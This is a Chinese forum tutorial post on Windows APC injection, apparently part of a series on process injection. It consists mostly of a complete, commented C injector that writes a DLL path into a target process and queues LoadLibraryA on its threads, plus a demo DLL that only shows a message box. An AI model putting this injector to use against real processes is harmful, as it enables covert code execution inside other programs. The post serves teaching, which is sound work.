qidao123.com技术社区-IT企服评测·应用市场

标题: 历程注入说人话系列:Windows API安全实战-APC注入 [打印本页]

作者: 守听    时间: 2025-5-4 17:38
标题: 历程注入说人话系列:Windows API安全实战-APC注入
历程、线程、APC的关系

历程


线程


APC


三者的关系:分工


系统状态下的APC


留意:APC是借用目的线程的上下文执行的,用的是线程的堆栈和寄存器,不是开新线程跑。
常见疑问


APC 注入

注入代码

  1. #include <Windows.h>
  2. #include <TlHelp32.h>
  3. #include <stdio.h>
  4. BOOL InjectAPC(DWORD dwPid, const char* dllPath) {
  5.     /*
  6.     dwPid: 目标进程的PID
  7.     dllPath: 要注入的DLL路径
  8.     */
  9.    // 打开目标进程
  10.     HANDLE hProcess = OpenProcess(
  11.         PROCESS_ALL_ACCESS,  // 指定打开进程的权限,这里指定为 所有权限
  12.         FALSE,              // 指定是否继承句柄
  13.         dwPid               // 指定要打开的进程ID
  14.     );
  15.     if (hProcess == NULL) {
  16.         printf("[-] 打开进程失败: %d\n", GetLastError());
  17.         return FALSE;
  18.     }
  19.     // 在目标进程中分配内存
  20.     LPVOID pRemotePath = VirtualAllocEx(
  21.         hProcess,                       // 指定目标进程
  22.         NULL,                           // 指定目标内存地址,这里指定为 NULL,因为要分配内存
  23.         strlen(dllPath) + 1,            // 指定要分配的内存大小,这里指定为 DLL 路径的长度 + 1,因为需要包含 NULL 终止符
  24.         MEM_COMMIT | MEM_RESERVE,       // 指定内存分配的类型,这里指定为 可提交 和 保留 内存
  25.         PAGE_READWRITE                  // 指定内存的访问权限,这里指定为 可读写
  26.     );
  27.     if (pRemotePath == NULL) {
  28.         printf("[-] 内存分配失败: %d\n", GetLastError());
  29.         CloseHandle(hProcess);
  30.         return FALSE;
  31.     }
  32.     // 写入 DLL 路径到目标进程内存
  33.     if (!WriteProcessMemory(
  34.         hProcess,               // 指定要写入数据的目标进程
  35.         pRemotePath,            // 指定目标内存地址,这里指定为在目标进程中分配的pRemotePath内存地址
  36.         dllPath,                // 源数据地址信息,也就是DLL路径
  37.         strlen(dllPath) + 1,    // 要写入的字节数,这里指定为 DLL 路径的长度 + 1,因为需要包含 NULL 终止符
  38.         NULL                    // 可选参数,标识实际写入了多少字节数。
  39.     )) {
  40.         printf("[-] 写入内存失败: %d\n", GetLastError());
  41.         VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
  42.         CloseHandle(hProcess);
  43.         return FALSE;
  44.     }
  45.     // 获取 LoadLibraryA 函数地址,固定写法。从 kernel32.dll 中获取LoadLibraryA的内存地址用于挂载APC
  46.     LPTHREAD_START_ROUTINE pLoadLibraryA = (LPTHREAD_START_ROUTINE)GetProcAddress(
  47.         GetModuleHandleA("kernel32.dll"), "LoadLibraryA"
  48.     );
  49.     if (pLoadLibraryA == NULL) {
  50.         printf("[-] 获取 LoadLibraryA 函数地址失败: %d\n", GetLastError());
  51.         VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
  52.         CloseHandle(hProcess);
  53.         return FALSE;
  54.     }
  55.     // 获取当前系统中所有线程的快照
  56.     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  57.     if (hSnapshot == INVALID_HANDLE_VALUE) {
  58.         printf("[-] 获取线程快照失败: %d\n", GetLastError());
  59.         return FALSE;
  60.     }
  61.     THREADENTRY32 te = { sizeof(THREADENTRY32) };
  62.     DWORD successCount = 0;
  63.     // 这里通过获取到的线程快照中所属的进程ID与目标进程的PID进行对比,如果相同则打开该线程
  64.     if (Thread32First(hSnapshot, &te)) {
  65.         do {
  66.             if (te.th32OwnerProcessID == dwPid) {
  67.                 // 打开匹配到的目标进程的线程
  68.                 HANDLE hThread = OpenThread(
  69.                     // 指定打开线程的权限。APC需要用到的权限:THREAD_SET_CONTEXT 允许设置线程的上下文。THREAD_SUSPEND_RESUME 允许挂起和恢复线程。THREAD_QUERY_INFORMATION 允许查询线程信息。
  70.                     THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION,  
  71.                     FALSE,  // 指定是否继承句柄
  72.                     te.th32ThreadID  // 指定要打开的线程ID
  73.                 );
  74.                 if (hThread) {
  75.                     // 挂载 APC 到目标进程的线程,
  76.                     DWORD res = QueueUserAPC(
  77.                         (PAPCFUNC)pLoadLibraryA,  // 指定要执行的函数,这里指定为 LoadLibraryA 函数,由LoadLibraryA 函数加载 目标DLL 到目标进程
  78.                         hThread,                  // 指定目标线程,这里指定为当前遍历到的线程
  79.                         (ULONG_PTR)pRemotePath    // 指定要传递的参数,这里指定为 目标DLL 的路径
  80.                     );
  81.                     if (res) {
  82.                         printf("[+] 设置APC任务的线程ID: %d\n", te.th32ThreadID);
  83.                         successCount++;
  84.                     }
  85.                     CloseHandle(hThread);
  86.                 }
  87.                 else {
  88.                     printf("[-] OpenThread失败!线程ID: %d, 错误码: %d\n", te.th32ThreadID, GetLastError());
  89.                 }
  90.             }
  91.         } while (Thread32Next(hSnapshot, &te));
  92.     }
  93.     CloseHandle(hSnapshot);
  94.     // 新创建一个远程 SleepEx(INFINITE, TRUE) 线程 + 挂载 APC。保底方案,如果所有线程都不 Alertable,则创建一个线程并挂载 APC
  95.     HANDLE hSleepThread = CreateRemoteThread(
  96.         hProcess,  // 指定目标进程
  97.         NULL,      // 线程属性
  98.         0,         // 线程栈大小
  99.         (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "SleepEx"),  // 指定要执行的函数,这里指定为 SleepEx 函数,由 SleepEx 函数挂载 APC
  100.         (LPVOID)INFINITE,  // 传递INFINITE 作为休眠时间,INFINITE是一个宏,表示无限休眠
  101.         0,               // 创建标志
  102.         NULL             // 线程ID
  103.     );
  104.     if (hSleepThread) {
  105.         DWORD result = QueueUserAPC(
  106.             (PAPCFUNC)pLoadLibraryA,  // 指定要执行的函数,这里指定为 LoadLibraryA 函数,由LoadLibraryA 函数加载 目标DLL 到目标进程
  107.             hSleepThread,             // 指定目标线程,这里指定为通过CreateRemoteThread创建的线程
  108.             (ULONG_PTR)pRemotePath    // 指定要传递的参数,这里指定为 目标DLL 的路径
  109.         );
  110.         if (result) {
  111.             printf("[+] 成功挂载 APC 到新建 SleepEx 线程(强制 Alertable)!\n");
  112.             successCount++;
  113.         }
  114.         else {
  115.             printf("[-] QueueUserAPC 到 SleepEx 线程失败: %d\n", GetLastError());
  116.         }
  117.         // 线程保持运行,由系统回收;如果想控制它结束,DLL里可以清理
  118.         CloseHandle(hSleepThread);
  119.     }
  120.     else {
  121.         printf("[-] 创建远程 SleepEx 线程失败: %d\n", GetLastError());
  122.     }
  123.     CloseHandle(hProcess);
  124.     if (successCount > 0) {
  125.         printf("[+] APC 注入尝试完成!至少有一个线程进入 Alertable 状态。\n");
  126.         return TRUE;
  127.     }
  128.     else {
  129.         printf("[-] 所有线程都不 Alertable,DLL 注入失败。\n");
  130.         return FALSE;
  131.     }
  132. }
  133. int main() {
  134.     DWORD pid = 26912;
  135.     const char* dllPath = "D:\\MessageBox-DLL\\InjectMe.dll";
  136.     InjectAPC(pid, dllPath);
  137.     return 0;
  138. }
复制代码
InjectMe.dll代码

  1. #include <Process.h>
  2. #include <stdio.h>
  3. #include <Windows.h>
  4. // 编译工具:使用 x64 Native Tools Command Prompt for VS 2022
  5. // 执行:cl /LD InjectMe.c /Fe:InjectMe.dll user32.lib
  6. BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
  7.         if (fdwReason == DLL_PROCESS_ATTACH) {
  8.                 MessageBoxW(NULL, L"Hello Kitty 注入成功!", L"InjectMe.dll", MB_OK | MB_ICONINFORMATION);
  9.         }
  10.         return TRUE;
  11. }
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 qidao123.com技术社区-IT企服评测·应用市场 (https://dis.qidao123.com/) Powered by Discuz! X3.4